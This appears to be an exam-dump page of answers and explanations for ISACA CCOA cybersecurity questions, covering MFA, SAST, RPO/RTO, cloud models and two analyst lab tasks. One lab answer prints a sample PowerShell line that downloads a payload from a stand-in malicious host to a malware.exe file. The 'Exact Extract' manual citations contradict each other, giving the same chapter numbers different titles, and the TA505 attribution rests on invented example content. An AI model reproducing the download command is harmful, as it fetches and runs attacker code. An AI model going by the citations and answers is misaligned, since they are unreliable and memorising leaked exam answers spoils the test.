CCOA Exam Dumps - Isaca Cybersecurity Audit Questions and Answers

Performingregular code reviews throughout developmentis the most effective method for reducing application risk:

Early Detection:Identifies security vulnerabilities before deployment.

Code Quality:Improves security practices and coding standards among developers.

Static Analysis:Ensures compliance with secure coding practices, reducing common vulnerabilities (like injection or XSS).

Continuous Improvement:Incorporates feedback into future development cycles.

Incorrect Options:

A. Regular third-party risk assessments:Important but does not directly address code-level risks.

C. Regular vulnerability scans after deployment:Identifies issues post-deployment, which is less efficient.

D. Regular monitoring of application use:Helps detect anomalies but not inherent vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Secure Software Development," Subsection "Code Review Practices" - Code reviews are critical for proactively identifying security flaws during development.

Multi-factor authentication (MFA)significantly mitigates risks associated withcompromised credentialsby requiring multiple verification factors, such as:

Something you know (password)

Something you have (authenticator app or token)

Something you are (biometric data)

Even if attackers obtain the password, they would still need additional factors, making unauthorized access far more challenging.

Incorrect Options:

B. Social engineering:MFA does not directly protect against sophisticated social engineering attacks where users are tricked into giving away all factors.

C. Malware:MFA does not prevent malware infections on the device.

D. Ransomware:Ransomware attacks typically bypass authentication mechanisms.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Identity and Access Management," Subsection "Multi-Factor Authentication" - MFA specifically addresses the risk of compromised credentials.

Static Application Security Testing (SAST)involvesanalyzing source code or compiled codeto identify vulnerabilities without executing the program.

Code Analysis:Identifies coding flaws, such asinjection, buffer overflows, or insecure function usage.

Early Detection:Can be integrated into the development pipeline to catch issues before deployment.

Automation:Tools likeSonarQube, Checkmarx, and Fortifyare commonly used.

Scope:Typically focuses on source code, bytecode, or binary code.

Other options analysis:

A. Vulnerability scanning:Typically involves analyzing deployed applications or infrastructure.

C. Attack simulation:Related to dynamic testing (e.g., DAST), not static analysis.

D. Configuration management:Involves maintaining and controlling software configurations, not code analysis.

CCOA Official Review Manual, 1st Edition References:

Chapter 9: Application Security Testing:Discusses SAST as a critical part of secure code development.

Chapter 7: Secure Coding Practices:Highlights the importance of static analysis during the SDLC.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

The scenario describes apenetration testing approachwhere the tester is givenaccess to all code, diagrams, and documentation, which is indicative of aFull Knowledge(also known asWhite Box) testing methodology.

Characteristics:

Comprehensive Access:The tester has complete information about the system, including source code, network architecture, and configurations.

Efficiency:Since the tester knows the environment, they can directly focus on finding vulnerabilities without spending time on reconnaissance.

Simulates Insider Threats:Mimics the perspective of an insider or a trusted attacker with full access.

Purpose:To thoroughly assess the security posture from aninformed perspectiveand identify vulnerabilities efficiently.

Other options analysis:

B. Unlimited scope:Scope typically refers to the range of testing activities, not the knowledge level.

C. No knowledge:This describesBlack Boxtesting where no prior information is given.

D. Partial knowledge:This would beGray Boxtesting, where some information is provided.

CCOA Official Review Manual, 1st Edition References:

Chapter 8: Penetration Testing Methodologies:Differentiates between full, partial, and no-knowledge testing approaches.

Chapter 9: Security Assessment Techniques:Discusses how white-box testing leverages complete information for in-depth analysis.

TheRecovery Point Objective (RPO)defines themaximum acceptable amount of data lossmeasured in time before a disaster occurs.

Daily Backups:If the DRP requiresdaily backups, the RPO is effectively set at24 hours, meaning the organization can tolerate up to one day of data loss.

Data Preservation:Ensures that the system can recover data up to the last backup point.

Business Continuity Planning:Helps determine how often data backups need to be performed to minimize loss.

Other options analysis:

A. Maximum tolerable downtime (MTD):Refers to the total time a system can be down before significant impact.

B. Recovery time objective (RTO):Defines the time needed to restore operations after an incident.

D. Mean time to failure (MTTF):Indicates the average time a system operates before failing.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Business Continuity and Disaster Recovery:Defines RPO and its importance in data backup strategies.

Chapter 7: Risk Management:Discusses RPO as a key metric in disaster recovery planning.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Theultimate outcome of adopting enterprise governance of information and technologyin cybersecurity isvalue creationbecause:

Strategic Alignment:Ensures that cybersecurity initiatives support business objectives.

Efficient Use of Resources:Enhances operational efficiency by integrating security practices seamlessly.

Risk Optimization:Minimizes the risk impact on business operations while maintaining productivity.

Business Enablement:Strengthens trust with stakeholders by demonstrating robust governance and security.

Other options analysis:

A. Business resilience:Important, but resilience is part of value creation, not the sole outcome.

B. Risk optimization:A component of governance but not the final goal.

C. Resource optimization:Helps achieve value but is not the ultimate outcome.

CCOA Official Review Manual, 1st Edition References:

Chapter 2: Cyber Governance and Strategy:Explains how value creation is the core goal of governance.

Chapter 10: Strategic IT and Cybersecurity Alignment:Discusses balancing security with business value.

TheRecovery Time Objective (RTO)is themaximum acceptable timethat a system can be down before significantly impacting business operations.

Context:If thecritical system can be unavailable for up to 4 hours, the RTO is4 hours.

Objective:To define how quickly systems must be restored after a disruption tominimize operational impact.

Disaster Recovery Planning:RTO helps design recovery strategies and prioritize resources.

Other options analysis:

A. Maximum tolerable downtime (MTD):Represents the absolute maximum time without operation, not the target recovery time.

B. Service level agreement (SLA):Defines service expectations but not recovery timelines.

C. Recovery point objective (RPO):Defines data loss tolerance, not downtime tolerance.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Business Continuity and Disaster Recovery:Explains RTO and its role in recovery planning.

Chapter 7: Recovery Strategy Planning:Highlights RTO as a key metric.

In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.

Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.

Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.

Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.

Incorrect Options:

A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.

B. Software as a Service (SaaS):Provider manages almost all operational aspects.

C. Platform as a Service (PaaS):Provider manages the platform; customers focus on application management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.